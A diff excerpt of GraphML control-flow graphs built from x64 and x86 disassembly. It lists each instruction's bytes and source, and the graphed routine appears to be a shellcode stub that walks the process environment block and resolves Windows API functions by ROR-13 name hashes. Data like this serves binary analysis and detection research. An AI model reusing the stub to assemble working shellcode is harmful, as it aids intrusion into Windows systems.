<node id="block.0x1073:instruction.0x1080">
<data key="address">0x1080</data>
<data key="type">instruction</data>
<data key="instruction.hex">75f1</data>
<data key="instruction.source">jne 0x1073</data>
</node>
<edge source="block.0x1073:instruction.0x1073" target="block.0x1073:instruction.0x1076"/>
<edge source="block.0x1073:instruction.0x1073" target="block.0x1073:instruction.0x1077"/>
<edge source="block.0x1073:instruction.0x1073" target="block.0x1073:instruction.0x107e"/>
<edge source="block.0x1073:instruction.0x1076" target="block.0x1073:instruction.0x107b"/>
<edge source="block.0x1073:instruction.0x1076" target="block.0x1073:instruction.0x107e"/>
<edge source="block.0x1073:instruction.0x1077" target="block.0x1073:instruction.0x107b"/>
<edge source="block.0x1073:instruction.0x1077" target="block.0x1073:instruction.0x1080"/>
<edge source="block.0x1073:instruction.0x107b" target="block.0x1073:instruction.0x107e"/>
<edge source="block.0x1073:instruction.0x107e" target="block.0x1073:instruction.0x1080"/>
</graph>
</node>
<node id="block.0x1082">
<data key="address">0x1082</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1082</data>
<data key="type">block</data>
<node id="block.0x1082:instruction.0x1082">
<data key="address">0x1082</data>
<data key="type">instruction</data>
<data key="instruction.hex">4c034c2408</data>
<data key="instruction.source">add r9, qword ptr [rsp + 8]</data>
</node>
<node id="block.0x1082:instruction.0x1087">
<data key="address">0x1087</data>
<data key="type">instruction</data>
<data key="instruction.hex">4539d1</data>
<data key="instruction.source">cmp r9d, r10d</data>
</node>
<node id="block.0x1082:instruction.0x108a">
<data key="address">0x108a</data>
<data key="type">instruction</data>
<data key="instruction.hex">75d8</data>
<data key="instruction.source">jne 0x1064</data>
</node>
<edge source="block.0x1082:instruction.0x1082" target="block.0x1082:instruction.0x1087"/>
<edge source="block.0x1082:instruction.0x1087" target="block.0x1082:instruction.0x108a"/>
</graph>
</node>
<node id="block.0x108c">
<data key="address">0x108c</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x108c</data>
<data key="type">block</data>
<node id="block.0x108c:instruction.0x108c">
<data key="address">0x108c</data>
<data key="type">instruction</data>
<data key="instruction.hex">58</data>
<data key="instruction.source">pop rax</data>
</node>
<node id="block.0x108c:instruction.0x108d">
<data key="address">0x108d</data>
<data key="type">instruction</data>
<data key="instruction.hex">448b4024</data>
<data key="instruction.source">mov r8d, dword ptr [rax + 0x24]</data>
</node>
<node id="block.0x108c:instruction.0x1091">
<data key="address">0x1091</data>
<data key="type">instruction</data>
<data key="instruction.hex">4901d0</data>
<data key="instruction.source">add r8, rdx</data>
</node>
<node id="block.0x108c:instruction.0x1094">
<data key="address">0x1094</data>
<data key="type">instruction</data>
<data key="instruction.hex">66418b0c48</data>
<data key="instruction.source">mov cx, word ptr [r8 + rcx*2]</data>
</node>
<node id="block.0x108c:instruction.0x1099">
<data key="address">0x1099</data>
<data key="type">instruction</data>
<data key="instruction.hex">448b401c</data>
<data key="instruction.source">mov r8d, dword ptr [rax + 0x1c]</data>
</node>
<node id="block.0x108c:instruction.0x109d">
<data key="address">0x109d</data>
<data key="type">instruction</data>
<data key="instruction.hex">4901d0</data>
<data key="instruction.source">add r8, rdx</data>
</node>
<node id="block.0x108c:instruction.0x10a0">
<data key="address">0x10a0</data>
<data key="type">instruction</data>
<data key="instruction.hex">418b0488</data>
<data key="instruction.source">mov eax, dword ptr [r8 + rcx*4]</data>
</node>
<node id="block.0x108c:instruction.0x10a4">
<data key="address">0x10a4</data>
<data key="type">instruction</data>
<data key="instruction.hex">4801d0</data>
<data key="instruction.source">add rax, rdx</data>
</node>
<node id="block.0x108c:instruction.0x10a7">
<data key="address">0x10a7</data>
<data key="type">instruction</data>
<data key="instruction.hex">4158</data>
<data key="instruction.source">pop r8</data>
</node>
<node id="block.0x108c:instruction.0x10a9">
<data key="address">0x10a9</data>
<data key="type">instruction</data>
<data key="instruction.hex">4158</data>
<data key="instruction.source">pop r8</data>
</node>
<node id="block.0x108c:instruction.0x10ab">
<data key="address">0x10ab</data>
<data key="type">instruction</data>
<data key="instruction.hex">5e</data>
<data key="instruction.source">pop rsi</data>
</node>
<node id="block.0x108c:instruction.0x10ac">
<data key="address">0x10ac</data>
<data key="type">instruction</data>
<data key="instruction.hex">59</data>
<data key="instruction.source">pop rcx</data>
</node>
<node id="block.0x108c:instruction.0x10ad">
<data key="address">0x10ad</data>
<data key="type">instruction</data>
<data key="instruction.hex">5a</data>
<data key="instruction.source">pop rdx</data>
</node>
<node id="block.0x108c:instruction.0x10ae">
<data key="address">0x10ae</data>
<data key="type">instruction</data>
<data key="instruction.hex">4158</data>
<data key="instruction.source">pop r8</data>
</node>
<node id="block.0x108c:instruction.0x10b0">
<data key="address">0x10b0</data>
<data key="type">instruction</data>
<data key="instruction.hex">4159</data>
<data key="instruction.source">pop r9</data>
</node>
<node id="block.0x108c:instruction.0x10b2">
<data key="address">0x10b2</data>
<data key="type">instruction</data>
<data key="instruction.hex">415a</data>
<data key="instruction.source">pop r10</data>
</node>
<node id="block.0x108c:instruction.0x10b4">
<data key="address">0x10b4</data>
<data key="type">instruction</data>
<data key="instruction.hex">4883ec20</data>
<data key="instruction.source">sub rsp, 0x20</data>
</node>
<node id="block.0x108c:instruction.0x10b8">
<data key="address">0x10b8</data>
<data key="type">instruction</data>
<data key="instruction.hex">4152</data>
<data key="instruction.source">push r10</data>
</node>
<node id="block.0x108c:instruction.0x10ba">
<data key="address">0x10ba</data>
<data key="type">instruction</data>
<data key="instruction.hex">ffe0</data>
<data key="instruction.source">jmp rax</data>
</node>
<edge source="block.0x108c:instruction.0x108c" target="block.0x108c:instruction.0x10a7"/>
<edge source="block.0x108c:instruction.0x108c" target="block.0x108c:instruction.0x108d"/>
<edge source="block.0x108c:instruction.0x108c" target="block.0x108c:instruction.0x1099"/>
<edge source="block.0x108c:instruction.0x108d" target="block.0x108c:instruction.0x10a0"/>
<edge source="block.0x108c:instruction.0x108d" target="block.0x108c:instruction.0x1091"/>
<edge source="block.0x108c:instruction.0x1091" target="block.0x108c:instruction.0x1099"/>
<edge source="block.0x108c:instruction.0x1091" target="block.0x108c:instruction.0x10ad"/>
<edge source="block.0x108c:instruction.0x1091" target="block.0x108c:instruction.0x1094"/>
<edge source="block.0x108c:instruction.0x1094" target="block.0x108c:instruction.0x10a0"/>
<edge source="block.0x108c:instruction.0x1094" target="block.0x108c:instruction.0x1099"/>
<edge source="block.0x108c:instruction.0x1094" target="block.0x108c:instruction.0x10ac"/>
<edge source="block.0x108c:instruction.0x1099" target="block.0x108c:instruction.0x10a0"/>
<edge source="block.0x108c:instruction.0x1099" target="block.0x108c:instruction.0x109d"/>
<edge source="block.0x108c:instruction.0x109d" target="block.0x108c:instruction.0x10a7"/>
<edge source="block.0x108c:instruction.0x109d" target="block.0x108c:instruction.0x10a0"/>
<edge source="block.0x108c:instruction.0x109d" target="block.0x108c:instruction.0x10ad"/>
<edge source="block.0x108c:instruction.0x10a0" target="block.0x108c:instruction.0x10a7"/>
<edge source="block.0x108c:instruction.0x10a0" target="block.0x108c:instruction.0x10ac"/>
<edge source="block.0x108c:instruction.0x10a0" target="block.0x108c:instruction.0x10a4"/>
<edge source="block.0x108c:instruction.0x10a4" target="block.0x108c:instruction.0x10ad"/>
<edge source="block.0x108c:instruction.0x10a4" target="block.0x108c:instruction.0x10ba"/>
<edge source="block.0x108c:instruction.0x10a7" target="block.0x108c:instruction.0x10a9"/>
<edge source="block.0x108c:instruction.0x10a9" target="block.0x108c:instruction.0x10ab"/>
<edge source="block.0x108c:instruction.0x10ab" target="block.0x108c:instruction.0x10ac"/>
<edge source="block.0x108c:instruction.0x10ac" target="block.0x108c:instruction.0x10ad"/>
<edge source="block.0x108c:instruction.0x10ad" target="block.0x108c:instruction.0x10ae"/>
<edge source="block.0x108c:instruction.0x10ae" target="block.0x108c:instruction.0x10b0"/>
<edge source="block.0x108c:instruction.0x10b0" target="block.0x108c:instruction.0x10b2"/>
<edge source="block.0x108c:instruction.0x10b2" target="block.0x108c:instruction.0x10b4"/>
<edge source="block.0x108c:instruction.0x10b2" target="block.0x108c:instruction.0x10b8"/>
<edge source="block.0x108c:instruction.0x10b4" target="block.0x108c:instruction.0x10b8"/>
<edge source="block.0x108c:instruction.0x10b8" target="block.0x108c:instruction.0x10ba"/>
</graph>
</node>
<node id="block.0x10bc">
<data key="address">0x10bc</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x10bc</data>
<data key="type">block</data>
<node id="block.0x10bc:instruction.0x10bc">
<data key="address">0x10bc</data>
<data key="type">instruction</data>
<data key="instruction.hex">58</data>
<data key="instruction.source">pop rax</data>
</node>
</graph>
</node>
<node id="block.0x10bd">
<data key="address">0x10bd</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x10bd</data>
<data key="type">block</data>
<node id="block.0x10bd:instruction.0x10bd">
<data key="address">0x10bd</data>
<data key="type">instruction</data>
<data key="instruction.hex">4159</data>
<data key="instruction.source">pop r9</data>
</node>
<node id="block.0x10bd:instruction.0x10bf">
<data key="address">0x10bf</data>
<data key="type">instruction</data>
<data key="instruction.hex">5a</data>
<data key="instruction.source">pop rdx</data>
</node>
<node id="block.0x10bd:instruction.0x10c0">
<data key="address">0x10c0</data>
<data key="type">instruction</data>
<data key="instruction.hex">488b12</data>
<data key="instruction.source">mov rdx, qword ptr [rdx]</data>
</node>
<node id="block.0x10bd:instruction.0x10c3">
<data key="address">0x10c3</data>
<data key="type">instruction</data>
<data key="instruction.hex">e94fffffff</data>
<data key="instruction.source">jmp 0x1017</data>
</node>
<edge source="block.0x10bd:instruction.0x10bd" target="block.0x10bd:instruction.0x10bf"/>
<edge source="block.0x10bd:instruction.0x10bf" target="block.0x10bd:instruction.0x10c0"/>
<edge source="block.0x10bd:instruction.0x10c0" target="block.0x10bd:instruction.0x10c3"/>
</graph>
</node>
<edge source="block.0x1000" target="block.0x1017"/>
<edge source="block.0x1017" target="block.0x1023"/>
<edge source="block.0x1023" target="block.0x102b"/>
<edge source="block.0x1023" target="block.0x102d"/>
<edge source="block.0x102b" target="block.0x102d"/>
<edge source="block.0x102d" target="block.0x1036"/>
<edge source="block.0x102d" target="block.0x1023"/>
<edge source="block.0x1036" target="block.0x104b"/>
<edge source="block.0x1036" target="block.0x10bd"/>
<edge source="block.0x104b" target="block.0x1056"/>
<edge source="block.0x104b" target="block.0x10bd"/>
<edge source="block.0x1056" target="block.0x1064"/>
<edge source="block.0x1064" target="block.0x1066"/>
<edge source="block.0x1064" target="block.0x10bc"/>
<edge source="block.0x1066" target="block.0x1073"/>
<edge source="block.0x1073" target="block.0x1073"/>
<edge source="block.0x1073" target="block.0x1082"/>
<edge source="block.0x1082" target="block.0x1064"/>
<edge source="block.0x1082" target="block.0x108c"/>
<edge source="block.0x10bc" target="block.0x10bd"/>
<edge source="block.0x10bd" target="block.0x1017"/>
</graph>
</graphml>
+615
View File
@@ -0,0 +1,615 @@
<?xml version="1.0" ?>
<graphml xmlns="http://graphml.graphdrawing.org/xmlns" xmlns:xsi="http://graphml.graphdrawing.org/xmlns" xsi:schemaLocation="http://graphml.graphdrawing.org/xmlns http://graphml.graphdrawing.org/xmlns/1.0/graphml.xsd">
<key id="address" for="all" attr.name="address" attr.type="long"/>
<key id="type" for="all" attr.name="type" attr.type="string"/>
<key id="instruction.source" for="node" attr.name="instruction.source" attr.type="string"/>
<key id="instruction.hex" for="node" attr.name="instruction.hex" attr.type="string"/>
<graph edgedefault="directed">
<node id="block.0x1000">
<data key="address">0x1000</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1000</data>
<data key="type">block</data>
<node id="block.0x1000:instruction.0x1000">
<data key="address">0x1000</data>
<data key="type">instruction</data>
<data key="instruction.hex">60</data>
<data key="instruction.source">pushal</data>
</node>
<node id="block.0x1000:instruction.0x1001">
<data key="address">0x1001</data>
<data key="type">instruction</data>
<data key="instruction.hex">89e5</data>
<data key="instruction.source">mov ebp, esp</data>
</node>
<node id="block.0x1000:instruction.0x1003">
<data key="address">0x1003</data>
<data key="type">instruction</data>
<data key="instruction.hex">31d2</data>
<data key="instruction.source">xor edx, edx</data>
</node>
<node id="block.0x1000:instruction.0x1005">
<data key="address">0x1005</data>
<data key="type">instruction</data>
<data key="instruction.hex">648b5230</data>
<data key="instruction.source">mov edx, dword ptr fs:[edx + 0x30]</data>
</node>
<node id="block.0x1000:instruction.0x1009">
<data key="address">0x1009</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b520c</data>
<data key="instruction.source">mov edx, dword ptr [edx + 0xc]</data>
</node>
<node id="block.0x1000:instruction.0x100c">
<data key="address">0x100c</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b5214</data>
<data key="instruction.source">mov edx, dword ptr [edx + 0x14]</data>
</node>
<edge source="block.0x1000:instruction.0x1000" target="block.0x1000:instruction.0x1003"/>
<edge source="block.0x1000:instruction.0x1000" target="block.0x1000:instruction.0x1001"/>
<edge source="block.0x1000:instruction.0x1003" target="block.0x1000:instruction.0x1005"/>
<edge source="block.0x1000:instruction.0x1005" target="block.0x1000:instruction.0x1009"/>
<edge source="block.0x1000:instruction.0x1009" target="block.0x1000:instruction.0x100c"/>
</graph>
</node>
<node id="block.0x100f">
<data key="address">0x100f</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x100f</data>
<data key="type">block</data>
<node id="block.0x100f:instruction.0x100f">
<data key="address">0x100f</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b7228</data>
<data key="instruction.source">mov esi, dword ptr [edx + 0x28]</data>
</node>
<node id="block.0x100f:instruction.0x1012">
<data key="address">0x1012</data>
<data key="type">instruction</data>
<data key="instruction.hex">0fb74a26</data>
<data key="instruction.source">movzx ecx, word ptr [edx + 0x26]</data>
</node>
<node id="block.0x100f:instruction.0x1016">
<data key="address">0x1016</data>
<data key="type">instruction</data>
<data key="instruction.hex">31ff</data>
<data key="instruction.source">xor edi, edi</data>
</node>
</graph>
</node>
<node id="block.0x1018">
<data key="address">0x1018</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1018</data>
<data key="type">block</data>
<node id="block.0x1018:instruction.0x1018">
<data key="address">0x1018</data>
<data key="type">instruction</data>
<data key="instruction.hex">31c0</data>
<data key="instruction.source">xor eax, eax</data>
</node>
<node id="block.0x1018:instruction.0x101a">
<data key="address">0x101a</data>
<data key="type">instruction</data>
<data key="instruction.hex">ac</data>
<data key="instruction.source">lodsb al, byte ptr [esi]</data>
</node>
<node id="block.0x1018:instruction.0x101b">
<data key="address">0x101b</data>
<data key="type">instruction</data>
<data key="instruction.hex">3c61</data>
<data key="instruction.source">cmp al, 0x61</data>
</node>
<node id="block.0x1018:instruction.0x101d">
<data key="address">0x101d</data>
<data key="type">instruction</data>
<data key="instruction.hex">7c02</data>
<data key="instruction.source">jl 0x1021</data>
</node>
<edge source="block.0x1018:instruction.0x1018" target="block.0x1018:instruction.0x101a"/>
<edge source="block.0x1018:instruction.0x101a" target="block.0x1018:instruction.0x101b"/>
<edge source="block.0x1018:instruction.0x101b" target="block.0x1018:instruction.0x101d"/>
</graph>
</node>
<node id="block.0x101f">
<data key="address">0x101f</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x101f</data>
<data key="type">block</data>
<node id="block.0x101f:instruction.0x101f">
<data key="address">0x101f</data>
<data key="type">instruction</data>
<data key="instruction.hex">2c20</data>
<data key="instruction.source">sub al, 0x20</data>
</node>
</graph>
</node>
<node id="block.0x1021">
<data key="address">0x1021</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1021</data>
<data key="type">block</data>
<node id="block.0x1021:instruction.0x1021">
<data key="address">0x1021</data>
<data key="type">instruction</data>
<data key="instruction.hex">c1cf0d</data>
<data key="instruction.source">ror edi, 0xd</data>
</node>
<node id="block.0x1021:instruction.0x1024">
<data key="address">0x1024</data>
<data key="type">instruction</data>
<data key="instruction.hex">01c7</data>
<data key="instruction.source">add edi, eax</data>
</node>
<node id="block.0x1021:instruction.0x1026">
<data key="address">0x1026</data>
<data key="type">instruction</data>
<data key="instruction.hex">49</data>
<data key="instruction.source">dec ecx</data>
</node>
<node id="block.0x1021:instruction.0x1027">
<data key="address">0x1027</data>
<data key="type">instruction</data>
<data key="instruction.hex">75ef</data>
<data key="instruction.source">jne 0x1018</data>
</node>
<edge source="block.0x1021:instruction.0x1021" target="block.0x1021:instruction.0x1024"/>
<edge source="block.0x1021:instruction.0x1024" target="block.0x1021:instruction.0x1026"/>
<edge source="block.0x1021:instruction.0x1026" target="block.0x1021:instruction.0x1027"/>
</graph>
</node>
<node id="block.0x1029">
<data key="address">0x1029</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1029</data>
<data key="type">block</data>
<node id="block.0x1029:instruction.0x1029">
<data key="address">0x1029</data>
<data key="type">instruction</data>
<data key="instruction.hex">52</data>
<data key="instruction.source">push edx</data>
</node>
<node id="block.0x1029:instruction.0x102a">
<data key="address">0x102a</data>
<data key="type">instruction</data>
<data key="instruction.hex">57</data>
<data key="instruction.source">push edi</data>
</node>
<node id="block.0x1029:instruction.0x102b">
<data key="address">0x102b</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b5210</data>
<data key="instruction.source">mov edx, dword ptr [edx + 0x10]</data>
</node>
<node id="block.0x1029:instruction.0x102e">
<data key="address">0x102e</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b423c</data>
<data key="instruction.source">mov eax, dword ptr [edx + 0x3c]</data>
</node>
<node id="block.0x1029:instruction.0x1031">
<data key="address">0x1031</data>
<data key="type">instruction</data>
<data key="instruction.hex">01d0</data>
<data key="instruction.source">add eax, edx</data>
</node>
<node id="block.0x1029:instruction.0x1033">
<data key="address">0x1033</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b4078</data>
<data key="instruction.source">mov eax, dword ptr [eax + 0x78]</data>
</node>
<node id="block.0x1029:instruction.0x1036">
<data key="address">0x1036</data>
<data key="type">instruction</data>
<data key="instruction.hex">85c0</data>
<data key="instruction.source">test eax, eax</data>
</node>
<node id="block.0x1029:instruction.0x1038">
<data key="address">0x1038</data>
<data key="type">instruction</data>
<data key="instruction.hex">744c</data>
<data key="instruction.source">je 0x1086</data>
</node>
<edge source="block.0x1029:instruction.0x1029" target="block.0x1029:instruction.0x102a"/>
<edge source="block.0x1029:instruction.0x1029" target="block.0x1029:instruction.0x102b"/>
<edge source="block.0x1029:instruction.0x102a" target="block.0x1029:instruction.0x1038"/>
<edge source="block.0x1029:instruction.0x102b" target="block.0x1029:instruction.0x102e"/>
<edge source="block.0x1029:instruction.0x102b" target="block.0x1029:instruction.0x1031"/>
<edge source="block.0x1029:instruction.0x102e" target="block.0x1029:instruction.0x1031"/>
<edge source="block.0x1029:instruction.0x1031" target="block.0x1029:instruction.0x1033"/>
<edge source="block.0x1029:instruction.0x1033" target="block.0x1029:instruction.0x1036"/>
<edge source="block.0x1029:instruction.0x1036" target="block.0x1029:instruction.0x1038"/>
</graph>
</node>
<node id="block.0x103a">
<data key="address">0x103a</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x103a</data>
<data key="type">block</data>
<node id="block.0x103a:instruction.0x103a">
<data key="address">0x103a</data>
<data key="type">instruction</data>
<data key="instruction.hex">01d0</data>
<data key="instruction.source">add eax, edx</data>
</node>
<node id="block.0x103a:instruction.0x103c">
<data key="address">0x103c</data>
<data key="type">instruction</data>
<data key="instruction.hex">50</data>
<data key="instruction.source">push eax</data>
</node>
<node id="block.0x103a:instruction.0x103d">
<data key="address">0x103d</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b4818</data>
<data key="instruction.source">mov ecx, dword ptr [eax + 0x18]</data>
</node>
<node id="block.0x103a:instruction.0x1040">
<data key="address">0x1040</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b5820</data>
<data key="instruction.source">mov ebx, dword ptr [eax + 0x20]</data>
</node>
<node id="block.0x103a:instruction.0x1043">
<data key="address">0x1043</data>
<data key="type">instruction</data>
<data key="instruction.hex">01d3</data>
<data key="instruction.source">add ebx, edx</data>
</node>
<edge source="block.0x103a:instruction.0x103a" target="block.0x103a:instruction.0x103c"/>
<edge source="block.0x103a:instruction.0x103a" target="block.0x103a:instruction.0x103d"/>
<edge source="block.0x103a:instruction.0x103a" target="block.0x103a:instruction.0x1040"/>
<edge source="block.0x103a:instruction.0x1040" target="block.0x103a:instruction.0x1043"/>
</graph>
</node>
<node id="block.0x1045">
<data key="address">0x1045</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1045</data>
<data key="type">block</data>
<node id="block.0x1045:instruction.0x1045">
<data key="address">0x1045</data>
<data key="type">instruction</data>
<data key="instruction.hex">85c9</data>
<data key="instruction.source">test ecx, ecx</data>
</node>
<node id="block.0x1045:instruction.0x1047">
<data key="address">0x1047</data>
<data key="type">instruction</data>
<data key="instruction.hex">743c</data>
<data key="instruction.source">je 0x1085</data>
</node>
<edge source="block.0x1045:instruction.0x1045" target="block.0x1045:instruction.0x1047"/>
</graph>
</node>
<node id="block.0x1049">
<data key="address">0x1049</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1049</data>
<data key="type">block</data>
<node id="block.0x1049:instruction.0x1049">
<data key="address">0x1049</data>
<data key="type">instruction</data>
<data key="instruction.hex">49</data>
<data key="instruction.source">dec ecx</data>
</node>
<node id="block.0x1049:instruction.0x104a">
<data key="address">0x104a</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b348b</data>
<data key="instruction.source">mov esi, dword ptr [ebx + ecx*4]</data>
</node>
<node id="block.0x1049:instruction.0x104d">
<data key="address">0x104d</data>
<data key="type">instruction</data>
<data key="instruction.hex">01d6</data>
<data key="instruction.source">add esi, edx</data>
</node>
<node id="block.0x1049:instruction.0x104f">
<data key="address">0x104f</data>
<data key="type">instruction</data>
<data key="instruction.hex">31ff</data>
<data key="instruction.source">xor edi, edi</data>
</node>
<edge source="block.0x1049:instruction.0x1049" target="block.0x1049:instruction.0x104d"/>
<edge source="block.0x1049:instruction.0x1049" target="block.0x1049:instruction.0x104a"/>
<edge source="block.0x1049:instruction.0x104a" target="block.0x1049:instruction.0x104d"/>
</graph>
</node>
<node id="block.0x1051">
<data key="address">0x1051</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1051</data>
<data key="type">block</data>
<node id="block.0x1051:instruction.0x1051">
<data key="address">0x1051</data>
<data key="type">instruction</data>
<data key="instruction.hex">31c0</data>
<data key="instruction.source">xor eax, eax</data>
</node>
<node id="block.0x1051:instruction.0x1053">
<data key="address">0x1053</data>
<data key="type">instruction</data>
<data key="instruction.hex">ac</data>
<data key="instruction.source">lodsb al, byte ptr [esi]</data>
</node>
<node id="block.0x1051:instruction.0x1054">
<data key="address">0x1054</data>
<data key="type">instruction</data>
<data key="instruction.hex">c1cf0d</data>
<data key="instruction.source">ror edi, 0xd</data>
</node>
<node id="block.0x1051:instruction.0x1057">
<data key="address">0x1057</data>
<data key="type">instruction</data>
<data key="instruction.hex">01c7</data>
<data key="instruction.source">add edi, eax</data>
</node>
<node id="block.0x1051:instruction.0x1059">
<data key="address">0x1059</data>
<data key="type">instruction</data>
<data key="instruction.hex">38e0</data>
<data key="instruction.source">cmp al, ah</data>
</node>
<node id="block.0x1051:instruction.0x105b">
<data key="address">0x105b</data>
<data key="type">instruction</data>
<data key="instruction.hex">75f4</data>
<data key="instruction.source">jne 0x1051</data>
</node>
<edge source="block.0x1051:instruction.0x1051" target="block.0x1051:instruction.0x1053"/>
<edge source="block.0x1051:instruction.0x1051" target="block.0x1051:instruction.0x1054"/>
<edge source="block.0x1051:instruction.0x1051" target="block.0x1051:instruction.0x1059"/>
<edge source="block.0x1051:instruction.0x1053" target="block.0x1051:instruction.0x1057"/>
<edge source="block.0x1051:instruction.0x1053" target="block.0x1051:instruction.0x1059"/>
<edge source="block.0x1051:instruction.0x1054" target="block.0x1051:instruction.0x1057"/>
<edge source="block.0x1051:instruction.0x1057" target="block.0x1051:instruction.0x1059"/>
<edge source="block.0x1051:instruction.0x1059" target="block.0x1051:instruction.0x105b"/>
</graph>
</node>
<node id="block.0x105d">
<data key="address">0x105d</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x105d</data>
<data key="type">block</data>
<node id="block.0x105d:instruction.0x105d">
<data key="address">0x105d</data>
<data key="type">instruction</data>
<data key="instruction.hex">037df8</data>
<data key="instruction.source">add edi, dword ptr [ebp - 8]</data>
</node>
<node id="block.0x105d:instruction.0x1060">
<data key="address">0x1060</data>
<data key="type">instruction</data>
<data key="instruction.hex">3b7d24</data>
<data key="instruction.source">cmp edi, dword ptr [ebp + 0x24]</data>
</node>
<node id="block.0x105d:instruction.0x1063">
<data key="address">0x1063</data>
<data key="type">instruction</data>
<data key="instruction.hex">75e0</data>
<data key="instruction.source">jne 0x1045</data>
</node>
<edge source="block.0x105d:instruction.0x105d" target="block.0x105d:instruction.0x1060"/>
<edge source="block.0x105d:instruction.0x1060" target="block.0x105d:instruction.0x1063"/>
</graph>
</node>
<node id="block.0x1065">
<data key="address">0x1065</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1065</data>
<data key="type">block</data>
<node id="block.0x1065:instruction.0x1065">
<data key="address">0x1065</data>
<data key="type">instruction</data>
<data key="instruction.hex">58</data>
<data key="instruction.source">pop eax</data>
</node>
<node id="block.0x1065:instruction.0x1066">
<data key="address">0x1066</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b5824</data>
<data key="instruction.source">mov ebx, dword ptr [eax + 0x24]</data>
</node>
<node id="block.0x1065:instruction.0x1069">
<data key="address">0x1069</data>
<data key="type">instruction</data>
<data key="instruction.hex">01d3</data>
<data key="instruction.source">add ebx, edx</data>
</node>
<node id="block.0x1065:instruction.0x106b">
<data key="address">0x106b</data>
<data key="type">instruction</data>
<data key="instruction.hex">668b0c4b</data>
<data key="instruction.source">mov cx, word ptr [ebx + ecx*2]</data>
</node>
<node id="block.0x1065:instruction.0x106f">
<data key="address">0x106f</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b581c</data>
<data key="instruction.source">mov ebx, dword ptr [eax + 0x1c]</data>
</node>
<node id="block.0x1065:instruction.0x1072">
<data key="address">0x1072</data>
<data key="type">instruction</data>
<data key="instruction.hex">01d3</data>
<data key="instruction.source">add ebx, edx</data>
</node>
<node id="block.0x1065:instruction.0x1074">
<data key="address">0x1074</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b048b</data>
<data key="instruction.source">mov eax, dword ptr [ebx + ecx*4]</data>
</node>
<node id="block.0x1065:instruction.0x1077">
<data key="address">0x1077</data>
<data key="type">instruction</data>
<data key="instruction.hex">01d0</data>
<data key="instruction.source">add eax, edx</data>
</node>
<node id="block.0x1065:instruction.0x1079">
<data key="address">0x1079</data>
<data key="type">instruction</data>
<data key="instruction.hex">89442424</data>
<data key="instruction.source">mov dword ptr [esp + 0x24], eax</data>
</node>
<node id="block.0x1065:instruction.0x107d">
<data key="address">0x107d</data>
<data key="type">instruction</data>
<data key="instruction.hex">5b</data>
<data key="instruction.source">pop ebx</data>
</node>
<node id="block.0x1065:instruction.0x107e">
<data key="address">0x107e</data>
<data key="type">instruction</data>
<data key="instruction.hex">5b</data>
<data key="instruction.source">pop ebx</data>
</node>
<node id="block.0x1065:instruction.0x107f">
<data key="address">0x107f</data>
<data key="type">instruction</data>
<data key="instruction.hex">61</data>
<data key="instruction.source">popal</data>
</node>
<node id="block.0x1065:instruction.0x1080">
<data key="address">0x1080</data>
<data key="type">instruction</data>
<data key="instruction.hex">59</data>
<data key="instruction.source">pop ecx</data>
</node>
<node id="block.0x1065:instruction.0x1081">
<data key="address">0x1081</data>
<data key="type">instruction</data>
<data key="instruction.hex">5a</data>
<data key="instruction.source">pop edx</data>
</node>
<node id="block.0x1065:instruction.0x1082">
<data key="address">0x1082</data>
<data key="type">instruction</data>
<data key="instruction.hex">51</data>
<data key="instruction.source">push ecx</data>
</node>
<node id="block.0x1065:instruction.0x1083">
<data key="address">0x1083</data>
<data key="type">instruction</data>
<data key="instruction.hex">ffe0</data>
<data key="instruction.source">jmp eax</data>
</node>
<edge source="block.0x1065:instruction.0x1065" target="block.0x1065:instruction.0x107d"/>
<edge source="block.0x1065:instruction.0x1065" target="block.0x1065:instruction.0x1066"/>
<edge source="block.0x1065:instruction.0x1065" target="block.0x1065:instruction.0x106f"/>
<edge source="block.0x1065:instruction.0x1065" target="block.0x1065:instruction.0x1079"/>
<edge source="block.0x1065:instruction.0x1066" target="block.0x1065:instruction.0x1074"/>
<edge source="block.0x1065:instruction.0x1066" target="block.0x1065:instruction.0x1069"/>
<edge source="block.0x1065:instruction.0x1069" target="block.0x1065:instruction.0x106f"/>
<edge source="block.0x1065:instruction.0x1069" target="block.0x1065:instruction.0x107f"/>
<edge source="block.0x1065:instruction.0x1069" target="block.0x1065:instruction.0x106b"/>
<edge source="block.0x1065:instruction.0x106b" target="block.0x1065:instruction.0x1074"/>
<edge source="block.0x1065:instruction.0x106b" target="block.0x1065:instruction.0x106f"/>
<edge source="block.0x1065:instruction.0x106b" target="block.0x1065:instruction.0x107f"/>
<edge source="block.0x1065:instruction.0x106f" target="block.0x1065:instruction.0x1074"/>
<edge source="block.0x1065:instruction.0x106f" target="block.0x1065:instruction.0x1072"/>
<edge source="block.0x1065:instruction.0x1072" target="block.0x1065:instruction.0x107d"/>
<edge source="block.0x1065:instruction.0x1072" target="block.0x1065:instruction.0x1074"/>
<edge source="block.0x1065:instruction.0x1072" target="block.0x1065:instruction.0x107f"/>
<edge source="block.0x1065:instruction.0x1074" target="block.0x1065:instruction.0x107d"/>
